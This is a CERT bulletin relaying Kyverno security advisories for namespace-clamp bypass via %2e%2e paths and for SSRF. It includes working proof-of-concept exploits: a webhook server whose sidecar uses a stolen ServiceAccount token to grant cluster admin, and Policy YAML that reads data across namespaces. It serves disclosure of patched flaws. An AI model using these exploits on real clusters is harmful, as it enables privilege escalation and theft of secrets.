Ce mail provient de l'extérieur, restons vigilants

=====================================================================


                            CERT-Renater

                Note d'Information No. 2026/VULN911
_____________________________________________________________________

DATE                : 18/09/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S):  Systems running Kyverno versions prior
                             to 1.19.1.
  
=====================================================================
https://github.com/kyverno/kyverno/security/advisories/GHSA-5qq8-67g6-4h2w
https://github.com/kyverno/kyverno/security/advisories/GHSA-c5qq-7g2q-cpqp
https://github.com/kyverno/kyverno/security/advisories/GHSA-q825-p383-r9v5
https://github.com/kyverno/kyverno/security/advisories/GHSA-5cjf-wwfg-pj4c
https://github.com/kyverno/kyverno/security/advisories/GHSA-59v6-2x73-wfg4
_____________________________________________________________________

Privilege escalation to cluster admin via Policy apiCall urlPath
Critical	realshuting published GHSA-5qq8-67g6-4h2w

Package
 github.com/kyverno/kyverno (Go)

Affected versions
< 1.19.1

Patched versions
1.19.1


Description

Cross-namespace & cluster objects creation as the admission-controller
ServiceAccount via Policy apiCall urlPath, leading to cluster admin
privilege escalation


Summary
A namespace tenant creating a namespaced kyverno.io/v1.Policy with a
method: POST apiCall can make Kyverno create an object in any namespace
as its own admission-controller ServiceAccount, bypassing the
per-namespace clamp that is supposed to confine the call with
url-encoding.

Attack path A adds a two %2e%2e segment to reach cluster-scoped
collections: the SA can create MutatingWebhookConfiguration objects
cluster-wide, so the tenant registers a webhook that rewrites every
admitted object, which allows privilege escalation to cluster admin.

Attack path B POSTs a PolicyException into the kyverno namespace,
which the tenant cannot write to directly, disabling an enforcing
policy for the tenant's namespace and admitting workloads the
policy blocked.

There must be more ways to exploit this, but this 2 demos should
be enough for a PoC.

This is similar vuln to Critical GHSA-8p9x-46gm-qfx2

Finder credits: Artem Cherezov https://github.com/cherez0ff

Verified live
kind v1.31.0 (kindest/node:v1.31.0), kyverno/kyverno v1.18.1 (latest
at the time of audit, https://github.com/kyverno/kyverno) installed
from the unmodified Kyverno chart 3.8.1 with default values.

Preconditions

The attacker is a namespace tenant with create on policies (kyverno.io
API group) in their own namespace and the editor role to create
workload like pods

Kyverno is installed with default chart values, except where a path
states otherwise: 
Attack path A uses default chart values with no extra feature flags.
Attack path B additionally requires the PolicyException feature enabled
and confined to the kyverno namespace
(--enablePolicyException=true --exceptionNamespace=kyverno, the
recommended hardened configuration), plus an admin-authored enforcing
policy. The tenant has no write access to the kyverno namespace,
which is the boundary the clamp bypass crosses.


Reproduction
Cluster preparation (not part of the attack)
kind create cluster --image kindest/node:v1.31.0 --name kyv-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig

helm repo add kyverno https://kyverno.github.io/kyverno/

# Path A uses default values. For path B, add the two --set flags below to enable the
# PolicyException feature confined to the `kyverno` namespace (the recommended hardened
# configuration the bypass defeats); path A does not need them.
helm upgrade --install kyverno kyverno/kyverno --version 3.8.1 \
  --namespace kyverno --create-namespace --wait --timeout=9m \
  --set features.policyExceptions.enabled=true \
  --set features.policyExceptions.namespace=kyverno
Path B demo also needs an admin-authored enforcing baseline policy
(used the upstream disallow-privileged-containers, applied as Enforce):

curl -fsSL https://raw.githubusercontent.com/kyverno/policies/main/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers.yaml \
  | sed 's/validationFailureAction: Audit/validationFailureAction: Enforce/' \
  | kubectl apply -f -
kubectl wait --for=condition=Ready clusterpolicy/disallow-privileged-containers --timeout=60s
Tenant identity: namespace + SA + built-in edit role + create/get on Kyverno Policies.

kubectl create namespace tenant-ns
kubectl -n tenant-ns create serviceaccount tenant-sa
kubectl -n tenant-ns create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-ns:tenant-sa
kubectl -n tenant-ns create role tenant-policy --verb=create,get --resource=policies.kyverno.io
kubectl -n tenant-ns create rolebinding tenant-policy --role=tenant-policy --serviceaccount=tenant-ns:tenant-sa
Mint a token for the tenant SA and write a tenant kubeconfig for demo.

SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-ns create token tenant-sa --duration=2h)
cat > ./kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant-sa
  context: { cluster: kind, user: tenant-sa, namespace: tenant-ns }
current-context: tenant-sa
users:
- name: tenant-sa
  user: { token: ${TOKEN} }
EOF

Attack path A: cluster admin via mutatingwebhookconfigurations
All attack-phase commands run as the tenant SA via
--kubeconfig=./kubeconfig-tenant. The clamp bypass reaches the
cluster-scoped mutatingwebhookconfigurations collection by adding
a second %2e%2e segment to climb past the fake namespace segment
that satisfies the clamp. The admission-controller SA holds create
on mutatingwebhookconfigurations, so a namespaced tenant Policy
registers a cluster-wide mutating webhook authored by that SA.
The minted webhook carries no namespaceSelector, so it intercepts
pod creation in every namespace, including kube-system (Kyverno
wires its own kube-system / kyverno exclusions into Kyverno's
webhooks, not into the attacker's). The escalation targets a
kube-system pod specifically, because a pod can only name a
ServiceAccount in its own namespace and the
clusterrole-aggregation-controller SA the attack hijacks lives in
kube-system; the same webhook firing on the attacker's
own-namespace pod cannot reach that SA.

The webhook is pointed at an attacker endpoint that, on the next
kube-system pod create, sets the pod's serviceAccountName to
clusterrole-aggregation-controller and injects an attacker
sidecar. That controller holds escalate/update/patch on
clusterroles ; the sidecar uses its mounted token to add
a */*/* rule to the system:basic-user ClusterRole, which is
bound to system:authenticated. Every authenticated identity,
including the tenant SA, becomes cluster admin. The operator
SA cannot itself create a RoleBinding or ClusterRoleBinding
granting privileges it does not hold (the apiserver's
ConfirmNoEscalation check blocks that), so the escalation
routes through the in-cluster clusterrole-aggregation-controller
identity, whose escalate verb is the sanctioned way to add
arbitrary rules to a ClusterRole.

The tenant runs the mutating-webhook endpoint in its own
namespace. The endpoint, for a pod labelled hijack: cac, returns
a JSONPatch that swaps serviceAccountName to
clusterrole-aggregation-controller and appends a sidecar; the
sidecar uses the pod's mounted token to patch system:basic-user.
Write the server:
# webhook.py
import base64, json, ssl
from http.server import BaseHTTPRequestHandler, HTTPServer

SIDECAR = {
    "name": "x", "image": "curlimages/curl:8.11.1",
    "command": ["sh", "-c",
      'T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); '
      'curl -sk -X PATCH -H "Authorization: Bearer $T" '
      '-H "Content-Type: application/json-patch+json" '
      '-d "[{\\"op\\":\\"add\\",\\"path\\":\\"/rules/-\\",\\"value\\":'
      '{\\"apiGroups\\":[\\"*\\"],\\"resources\\":[\\"*\\"],\\"verbs\\":[\\"*\\"]}}]" '
      'https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/v1/clusterroles/system:basic-user; '
      'sleep 3600']
}

def patch_for():
    ops = [{"op": "replace", "path": "/spec/serviceAccountName", "value": "clusterrole-aggregation-controller"},
           {"op": "add", "path": "/spec/containers/-", "value": SIDECAR}]
    return base64.b64encode(json.dumps(ops).encode()).decode()

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        body = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0))))
        req = body.get("request", {})
        labels = (req.get("object", {}).get("metadata", {}) or {}).get("labels", {}) or {}
        patch = patch_for() if labels.get("hijack") == "cac" else base64.b64encode(b"[]").decode()
        resp = {"apiVersion": "admission.k8s.io/v1", "kind": "AdmissionReview",
                "response": {"uid": req.get("uid", ""), "allowed": True,
                             "patchType": "JSONPatch", "patch": patch}}
        out = json.dumps(resp).encode()
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(out))); self.end_headers(); self.wfile.write(out)
    def log_message(self, *a): pass

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("/tls/tls.crt", "/tls/tls.key")
s = HTTPServer(("0.0.0.0", 8443), H); s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()
openssl req -x509 -newkey rsa:2048 -nodes -keyout tls.key -out tls.crt -days 2 \
  -subj "/CN=attacker-webhook.tenant-ns.svc" \
  -addext "subjectAltName=DNS:attacker-webhook.tenant-ns.svc"
CABUNDLE=$(base64 -w0 tls.crt)
The apiserver dials a service-reference clientConfig, so the
serving cert's SAN must match the Service DNS name. Generate
it, capture the CA bundle, and deploy the endpoint as the
tenant:

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create secret tls attacker-webhook-tls --cert=tls.crt --key=tls.key
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap webhook-src --from-file=webhook.py

kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: { name: attacker-webhook, namespace: tenant-ns, labels: { app: attacker-webhook } }
spec:
  restartPolicy: Never
  containers:
    - name: c
      image: python:3.12-alpine
      command: ["python", "/src/webhook.py"]
      ports: [{ containerPort: 8443 }]
      volumeMounts: [{ name: tls, mountPath: /tls }, { name: src, mountPath: /src }]
  volumes:
    - { name: tls, secret: { secretName: attacker-webhook-tls } }
    - { name: src, configMap: { name: webhook-src } }
---
apiVersion: v1
kind: Service
metadata: { name: attacker-webhook, namespace: tenant-ns }
spec:
  selector: { app: attacker-webhook }
  ports: [{ port: 443, targetPort: 8443 }]
EOF

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns wait --for=condition=Ready pod/attacker-webhook --timeout=120s
The tenant authors a namespaced Policy whose apiCall POSTs
a MutatingWebhookConfiguration on pod CREATE, with ${CABUNDLE}
from the previous step. The urlPath carries two %2e%2e
segments after the fake namespace. The validate.message must
reference {{ created }}, or the deferred apiCall is never
demanded and the POST does not run:
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<EOF
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: webhook-mint
  namespace: tenant-ns
spec:
  validationFailureAction: Audit
  background: false
  rules:
    - name: trigger-rule
      match:
        any:
          - resources:
              kinds: [ConfigMap]
      context:
        - name: created
          apiCall:
            method: POST
            urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/tenant-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations"
            data:
              - key: apiVersion
                value: "admissionregistration.k8s.io/v1"
              - key: kind
                value: "MutatingWebhookConfiguration"
              - key: metadata
                value:
                  name: "tenant-webhook-pwn"
              - key: webhooks
                value:
                  - name: "pwn.tenant.example.com"
                    admissionReviewVersions: ["v1"]
                    sideEffects: "None"
                    failurePolicy: "Ignore"
                    clientConfig:
                      service:
                        namespace: "tenant-ns"
                        name: "attacker-webhook"
                        path: "/mutate"
                      caBundle: "${CABUNDLE}"
                    rules:
                      - apiGroups: [""]
                        apiVersions: ["v1"]
                        operations: ["CREATE"]
                        resources: ["pods"]
      validate:
        message: "apiCall result: {{ created }}"
        deny: {}
EOF

kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig2 --from-literal=x=y
kubectl get mutatingwebhookconfiguration tenant-webhook-pwn -o jsonpath='{.metadata.managedFields[0].manager}'   # kyverno
On the next kube-system pod create
(any controller / DaemonSet / operator rollout produces one), the
webhook swaps its SA and injects the sidecar:
# stands in for a controller-spawned kube-system workload
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: { name: sys-workload, namespace: kube-system, labels: { hijack: "cac" } }
spec:
  restartPolicy: Never
  containers:
    - { name: main, image: curlimages/curl:8.11.1, command: ["sleep","3600"] }
EOF
kubectl -n kube-system wait --for=condition=Ready pod/sys-workload --timeout=120s
The sidecar patches system:basic-user, and the tenant SA is
cluster admin:
kubectl --kubeconfig=./kubeconfig-tenant auth can-i get secrets -n kube-system
kubectl --kubeconfig=./kubeconfig-tenant auth can-i create pod -n kube-system

# > yes, yes
Attack path B: cluster admin via disable kyverno by creation of
policyexceptions
A PolicyException in the kyverno namespace exempts a chosen
namespace from a chosen policy rule. The tenant cannot write
to the kyverno namespace, but the clamp bypass makes the
admission-controller SA POST the exception there. The exception
disables the enforcing disallow-privileged-containers policy
for the tenant's own namespace, so the tenant can then run
a privileged Pod the policy blocked.

Create a namespaced Policy whose apiCall POSTs the
PolicyException into kyverno using a %2e%2e-encoded urlPath
bypass:
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: exception-injector
  namespace: tenant-ns
spec:
  validationFailureAction: Audit
  background: false
  rules:
    - name: trigger-rule
      match:
        any:
          - resources:
              kinds: [ConfigMap]
      context:
        - name: created
          apiCall:
            method: POST
            urlPath: "/apis/kyverno.io/v2/namespaces/tenant-ns/%2e%2e/kyverno/policyexceptions"
            data:
              - key: apiVersion
                value: "kyverno.io/v2"
              - key: kind
                value: "PolicyException"
              - key: metadata
                value:
                  name: "disable-disallow-privileged"
                  namespace: "kyverno"
              - key: spec
                value:
                  exceptions:
                    - policyName: "disallow-privileged-containers"
                      ruleNames: ["privileged-containers"]
                  match:
                    any:
                      - resources:
                          kinds: ["Pod"]
                          namespaces: ["tenant-ns"]
      validate:
        message: "apiCall result: {{ created }}"
        deny: {}
EOF

Trigger the apiCall by creating any ConfigMap in the tenant
namespace:
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns create configmap trig --from-literal=x=y
Expected on pass: a PolicyException named disable-disallow-privileged
exists in kyverno, authored by the kyverno controller SA:

The enforcing policy admits the tenant's privileged Pod:
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns run pwned-priv \
  --image=busybox --privileged --restart=Never --command -- sleep 600
  
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-ns get pod pwned-priv \
  -o jsonpath='name={.metadata.name} privileged={.spec.containers[0].securityContext.privileged}'
# name=pwned-priv privileged=true
From there, escalation to cluster admin is trivial - master node
escape from pod, cluster-admin kubeconfig steal.

Remediation (calude generated)
Validate the path that will actually be sent, not path.Clean of
the raw string. Either URL-decode and path.Clean the urlPath
before extracting the namespace segment (so %2e%2e is resolved
the same way client-go resolves it), or construct the request
from a parsed (group, version, namespace, resource, name) tuple
and reject a namespace that differs from policy.Namespace for
namespaced policies. The current path.Clean-only check leaves
the namespace clamp non-authoritative against
%2e%2e, ..%2f, .%2e/, and %2e%2e%2f.

Presumed root cause (calude generated)
The namespaced-Policy clamp validates path.Clean(call.APICall.URLPath)
and the regex extracts the namespace from that cleaned string,
but the request is then executed against the raw
call.APICall.URLPath at

kyverno/pkg/engine/apicall/apiCall.go

Lines 73 to 85 in ec14520

 if a.policyNamespace != "" { 
 	cleanPath := path.Clean(call.APICall.URLPath) 
 	if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 { 
 		ns := matches[2] 
 		if ns != a.policyNamespace { 
 			return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace) 
 		} 
 	} else { 
 		return nil, fmt.Errorf("path %s does not contain a
namespace segment, which is required for namespaced policies", cleanPath) 
 	} 
 } 
  
 data, err := a.Execute(ctx, &call.APICall) 
:
if a.policyNamespace != "" {
    cleanPath := path.Clean(call.APICall.URLPath)            // path.Clean does NOT URL-decode
    if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 {
        ns := matches[2]
        if ns != a.policyNamespace {                          // reads ns out of the cleaned string -> sees "tenant-ns"
            return nil, fmt.Errorf("path %s refers to namespace %s, ...", cleanPath, ns, a.policyNamespace)
        }
    }
}
data, err := a.Execute(ctx, &call.APICall)                    // sends the RAW urlPath, %2e%2e intact
Execute forwards the raw urlPath to the dynamic client, which sends it over client-go. client-go decodes %2e%2e to .. and resolves the path (rest.Request.RequestURI -> url.Parse -> path.Join), so the wire path becomes /apis/kyverno.io/v1/namespaces/kube-system/policies. The clamp saw tenant-ns; the API server receives kube-system.

The write itself is a POST apiCall, which RawAbsPath issues as a create at

kyverno/pkg/clients/dclient/client.go

Lines 161 to 170 in ec14520

 func (c *client) RawAbsPath(ctx context.Context, path string, method string, dataReader io.Reader) ([]byte, error) { 
 	if c.rest == nil { 
 		return c.rawAbsPathForFakeClient(ctx, path, method, dataReader) 
 	} 
  
 	switch method { 
 	case "GET": 
 		return c.rest.Get().RequestURI(path).DoRaw(ctx) 
 	case "POST": 
 		return c.rest.Post().Body(dataReader).RequestURI(path).DoRaw(ctx) 
:
case "POST":
    return c.rest.Post().Body(dataReader).RequestURI(path).DoRaw(ctx)   // POST to a collection = create

apiCall.Method is +kubebuilder:validation:Enum=GET;POST,
and urlPath, method, and data (the POST body) are all verbatim
CR fields, so a namespaced Policy can drive an arbitrary create as
the admission-controller SA. The clamp was the only control
restricting which namespace that create targets.

The same decode-after-clamp gap reaches cluster-scoped
collections: a urlPath of
/apis/<group>/<version>/namespaces/<policy-ns>/%2e%2e/%2e%2e/<cluster-scoped-resource>
passes the clamp (the regex reads <policy-ns> from the
cleaned string), and client-go collapses both %2e%2e
segments so the wire path is the bare cluster-scoped
collection. The clamp's reject-when-no-namespace-segment
branch never fires, because the cleaned string still
contains a /namespaces/<policy-ns>/ segment. This is what
lets a namespaced Policy POST a MutatingWebhookConfiguration,
which the admission-controller SA may create cluster-wide
on a default install.

References
GHSA-8p9x-46gm-qfx2 / CVE-2026-22039 CRITICAL (kyverno - prior
advisory on this operator, the namespaced-Policy apiCall
cross-namespace clamp this bypass evades): <GHSA-8p9x-46gm-qfx2

Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
No known CVE

Weaknesses
WeaknessCWE-441
WeaknessCWE-863
WeaknessCWE-918

Credits
@cherez0ff cherez0ff
Finder
_____________________________________________________________________


Namespace isolation bypass in namespaced Policy `apiCall` via
percent-encoded path segments

High
realshuting published GHSA-c5qq-7g2q-cpqp

Package
github.com/kyverno/kyverno (Go)

Affected versions
< 1.19.1

Patched versions
1.19.1


Description

Summary

A namespace-isolation check on the apiCall context entry of namespaced
Policy resources can be bypassed using percent-encoded dot-segments
(%2e%2e) in urlPath. A low-privilege tenant who can only create a
namespaced Policy in their own namespace — and who has no access
whatsoever to other namespaces — can make Kyverno read resources in
those other namespaces, because the request is executed with the
Kyverno admission controller's ServiceAccount rather than the
requesting user's identity. With a default installation this already
allows cross-namespace reading of ConfigMaps (and other resources the
controller SA can read); the reachable data grows with whatever
additional permissions the controller SA holds.


Details

The isolation check and the request that uses the path do not agree
on how the path is interpreted — the check normalizes the path
lexically while the request percent-decodes it.

1. The check — pkg/engine/apicall/apiCall.go (lines 17, 73–83):

var namespacePathRegex = regexp.MustCompile(`^/api(s)?/.*?/namespaces/([^/]+)/?.*$`)
...
if a.policyNamespace != "" {
    cleanPath := path.Clean(call.APICall.URLPath)            // line 74
    if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 {
        ns := matches[2]
        if ns != a.policyNamespace {                          // line 77
            return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace)
        }
    } else {
        return nil, fmt.Errorf("path %s does not contain a namespace segment, ...")
    }
}

path.Clean is a purely lexical cleaner — it does not percent-decode.
A segment such as %2e%2e is treated as an opaque path segment, so
for a path like
/api/v1/namespaces/<policy-ns>/%2e%2e/<victim-ns>/configmaps/<name>
the regex captures the first /namespaces/<policy-ns> and the check
passes. The raw, unmodified call.APICall is then handed to the
executor.

2. The use / sink — pkg/engine/apicall/executor.go:47 → pkg/clients/dclient/client.go:168:

// executor.go
return a.executeK8sAPICall(ctx, call.URLPath, call.Method, call.Data)   // raw URLPath, line 47
...
// client.go
case "GET":
    return c.rest.Get().RequestURI(path).DoRaw(ctx)                     // line 168

client-go's rest.Request.RequestURI(path) parses the path with
url.Parse, which percent-decodes %2e%2e into .. and resolves the
dot-segments when building the final URL. The path therefore
collapses onto the victim namespace before the request is sent,
regardless of how the API server itself handles paths. The
credentials on c.rest are the admission controller's full
ServiceAccount.


PoC

1. Prepare a victim namespace with a ConfigMap the attacker
must not be able to read:

kubectl create namespace victim-ns
kubectl -n victim-ns create configmap victim-config \
  --from-literal=secret_data='CROSS-NS-CONFIGMAP-LEAK-7777'

2. Prepare an attacker namespace and a low-privilege tenant
identity in it. The tenant may create namespaced Policy and
ConfigMaps in attacker-ns only, and has no access to victim-ns:

kubectl create namespace attacker-ns
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: ServiceAccount
metadata: { name: attacker, namespace: attacker-ns }
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: { name: tenant-policy-author, namespace: attacker-ns }
rules:
- { apiGroups: ["kyverno.io"], resources: ["policies"], verbs: ["create","get","list","watch","update","patch","delete"] }
- { apiGroups: [""], resources: ["configmaps"], verbs: ["create","get","list","delete"] }
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: { name: tenant-policy-author, namespace: attacker-ns }
roleRef: { apiGroup: rbac.authorization.k8s.io, kind: Role, name: tenant-policy-author }
subjects: [ { kind: ServiceAccount, name: attacker, namespace: attacker-ns } ]
EOF
SA=system:serviceaccount:attacker-ns:attacker

3. Confirm the boundary — the tenant cannot read victim-ns directly:

kubectl auth can-i create policies   -n attacker-ns --as=$SA   # -> yes
kubectl auth can-i get configmaps    -n victim-ns   --as=$SA   # -> no
kubectl auth can-i get secrets       -n victim-ns   --as=$SA   # -> no

4. Control — a plain (non-encoded) cross-namespace path is correctly
rejected:

cat <<'EOF' | kubectl apply --as=$SA -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata: { name: read-baseline, namespace: attacker-ns }
spec:
  validationFailureAction: Enforce
  background: false
  rules:
  - name: read
    match: { any: [ resources: { kinds: [ConfigMap] } ] }
    context:
    - name: stolen
      apiCall: { method: GET, urlPath: "/api/v1/namespaces/victim-ns/configmaps/victim-config" }
    validate:
      message: "LEAKED name={{ stolen.metadata.name }} data={{ stolen.data.secret_data }}"
      deny: {}
EOF
kubectl -n attacker-ns create configmap trigger1 --from-literal=x=y --as=$SA

5. Exploit — the same target via percent-encoded .. is allowed:

kubectl delete policy read-baseline -n attacker-ns --as=$SA
cat <<'EOF' | kubectl apply --as=$SA -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata: { name: read-exploit, namespace: attacker-ns }
spec:
  validationFailureAction: Enforce
  background: false
  rules:
  - name: read
    match: { any: [ resources: { kinds: [ConfigMap] } ] }
    context:
    - name: stolen
      # %2e%2e == ".."  -> check sees attacker-ns, the actual request reaches victim-ns
      apiCall: { method: GET, urlPath: "/api/v1/namespaces/attacker-ns/%2e%2e/victim-ns/configmaps/victim-config" }
    validate:
      message: "LEAKED name={{ stolen.metadata.name }} ns={{ stolen.metadata.namespace }} data={{ stolen.data.secret_data }}"
      deny: {}
EOF
kubectl -n attacker-ns create configmap trigger2 --from-literal=x=y --as=$SA


Impact

This is an authorization-boundary bypass leading to cross-namespace
information disclosure (confused-deputy). The single precondition is
the ability to create a namespaced Policy in one namespace — a
namespace-tenant level permission, not cluster-admin. It primarily
affects multi-tenant clusters where namespaced policy creation is
delegated to tenants and where namespaces are treated as an isolation
boundary.

The key point is that the apiCall runs with the Kyverno admission
controller's ServiceAccount, not the requesting user's. The
reachable set of resources is therefore exactly what that
ServiceAccount is allowed to read — the more permissions are
granted to the Kyverno ServiceAccount, the larger the impact:

    Default installation: the controller SA can read ConfigMaps
and Namespaces cluster-wide, so any tenant can read those across
all namespaces (demonstrated above).

    When the SA is granted Secret read (a supported, documented
configuration via ClusterRole aggregation, e.g. for
image-pull/TLS/registry-credential policies): the same primitive
yields cross-namespace Secret theft, which can expose
ServiceAccount tokens, kubeconfig secrets and credentials and
escalate toward cluster takeover.


Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CVE ID
No known CVE
Weaknesses
Weakness CWE-22
Weakness CWE-200
Credits

    @dhki dhki Reporter
_____________________________________________________________________

Legacy `apiCall` service executor and GlobalContextEntry bypass the
SSRF blocklist / SA-token egress controls that were applied only to
the CEL http path

High
realshuting published GHSA-q825-p383-r9v5

Package
github.com/kyverno/kyverno (Go)

Affected versions
< 1.19.1

Patched versions
1.19.1


Description

Summary

A ClusterPolicy or GlobalContextEntry author (and, when a deployed
policy templates the service URL from the admission resource, a
lower-privileged resource submitter) can drive Kyverno's apiCall
service executor to an arbitrary outbound host — including the cloud
metadata endpoint 169.254.169.254, loopback, and any in-cluster
service — because the April-2026 SSRF host/CIDR blocklist (5c1e65aac)
and the scoped-token change (bc4f91c48) were wired only into the
new CEL http.Get/Post path and never applied to the legacy
pkg/engine/apicall/executor.go or the GlobalContextEntry
external-API path that every non-CEL service call flows through.

The same executor attaches Kyverno's projected ServiceAccount token
to that arbitrary destination unconditionally (residual arm TOKEN-1);
the leaked credential is audience-scoped so its replay value is low,
but it still egresses to an attacker-chosen host together with the
SSRF.


Details

Vulnerability

Kyverno is a Kubernetes admission webhook and set of background
controllers running with a powerful ServiceAccount. One of its
security properties is that it must not be turned into a confused
deputy — its outbound apiCall requests must not reach the cloud
metadata service or internal endpoints, and its SA token must
not egress to third parties. In April 2026 the maintainers added
a default egress blocklist (169.254.169.254, 169.254.169.253,
metadata.google.internal, 127.0.0.0/8, ::1/128) to enforce
exactly this. That control was wired only into the new CEL
http.Get/Post library. The legacy apiCall service executor — the
code path used by every classic
ClusterPolicy/Policy context[].apiCall.service call and by
every GlobalContextEntry external-API call — was left with
a plain net/http client that performs no egress filtering
and attaches the SA token to any destination. An attacker
who authors a cluster-scoped policy (or, via URL templating,
a resource submitter) can therefore make Kyverno issue a
GET/POST to 169.254.169.254 and read cloud instance credentials,
reach internal services with Kyverno's network position, and
leak Kyverno's projected SA token to an attacker-chosen host.


Root Cause

The SSRF host/CIDR blocklist and the token-destination gate exist
only on the CEL sibling client and are absent from the live legacy
executor that all non-CEL service calls flow through.
pkg/engine/apicall/executor.go:163-168 buildHTTPClient returns a
bare &http.Client{Timeout: timeout} (only a timeout, plus an
optional CABundle) with no http.RoundTripper that consults
toggle.HTTPBlocklist; executor.go:137 sends to the raw
apiCall.Service.URL; and executor.go:154-156 adds Authorization:
Bearer <token> whenever the caller set no Authorization header,
with no check that the destination is the in-cluster apiserver.
There is no admission-time or caller-side validation of
ServiceCall.URL anywhere (api/kyverno/v1/common_types.go:250
declares URL string with no validation; no Validate function
inspects it), and the GlobalContextEntry path calls Execute
directly (entry.go:177) so it does not even hit the
namespaced-policy URLPath guard.


The CEL-vs-legacy asymmetry (incomplete fix)

Commit 5c1e65aac ("secure HTTP calls", #15789) created
pkg/cel/compiler/http.go, whose
NewHTTPWithBlocklist(toggle.HTTPBlocklist.Values(),
toggle.HTTPAllowlist.Values()) (http.go:29, :100) is the only
place in the repository the blocklist is consumed. In the same
commit the only change to the apicall package was a single
substantive line added to the CEL client — a //nolint:gosec
annotation asserting the SSRF is handled elsewhere:

// pkg/engine/apicall/httpclient.go:85 — the CEL scopedTokenClient (GUARDED sibling)
return c.inner.Do(req) //nolint:gosec // SSRF is mitigated
by the SDK HTTP library's blocklist/allowlist filter before
requests reach this client

git show 5c1e65aac --stat confirms pkg/engine/apicall/executor.go
is absent from the diff. The flag description at
pkg/toggle/toggle.go:60 explicitly scopes the blocklist to
"CEL http.Get/Post calls". The legacy executor's own client.Do(req)
at executor.go:86 carries no such annotation and no such filter —
the maintainers annotated the CEL client as SSRF-mitigated and left
the live legacy executor unguarded. This is a distinct-code-path
incomplete fix (Pattern B adjacent-miss / Pattern C sibling-layer)
of the apiCall SSRF advisories.

Likewise the token-leak fix bc4f91c48 ("use scoped token for request
authz", #15779) touched the exact attach site (executor.go:154) but
only changed which token is attached (an audience-scoped projected
token instead of the raw /var/run/secrets/kubernetes.io/serviceaccount/token)
— it never gated where the token is sent. The unconditional attach
to any Service.URL survives (TOKEN-1).


Vulnerable Code

// pkg/engine/apicall/executor.go:71 — legacy service-call executor
func (a *executor) executeServiceCall(ctx context.Context, apiCall *kyvernov1.APICall) ([]byte, error) {
    ...
    client, err := a.buildHTTPClient(apiCall.Service)   // :76 -> plain client, NO blocklist
    ...
    req, err := a.buildHTTPRequest(ctx, apiCall)        // :81 -> sets URL + token
    ...
    resp, err := client.Do(req)                          // :86 -> arbitrary host reached, token on the wire
}

// pkg/engine/apicall/executor.go:137 — SSRF sink: raw attacker/author-set URL, no validation
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

// pkg/engine/apicall/executor.go:154-156 — TOKEN-1: unconditional Bearer attach, no destination check
if req.Header.Get("Authorization") == "" {
    if token, ok := readScopedToken(); ok && token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

// pkg/engine/apicall/executor.go:163-168 — plain client: only a timeout, no egress RoundTripper
func (a *executor) buildHTTPClient(service *kyvernov1.ServiceCall) (*http.Client, error) {
    timeout := a.config.GetTimeout()
    if service == nil || service.CABundle == "" {
        return &http.Client{
            Timeout: timeout,        // <-- no blocklist / allowlist / SSRF filter
        }, nil
    }
    ...
}

Data Flow (Taint Path)

[Attacker-Controlled Source]
  file: ClusterPolicy / GlobalContextEntry CR — context[].apiCall.service.url (or spec.apiCall.service.url)
  attacker controls: the full outbound request URL (scheme + host + path)
  ↓
[Variable substitution — URL materialized from policy context / admission resource]
  file: pkg/engine/apicall/apiCall.go:68
  code: "call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)"
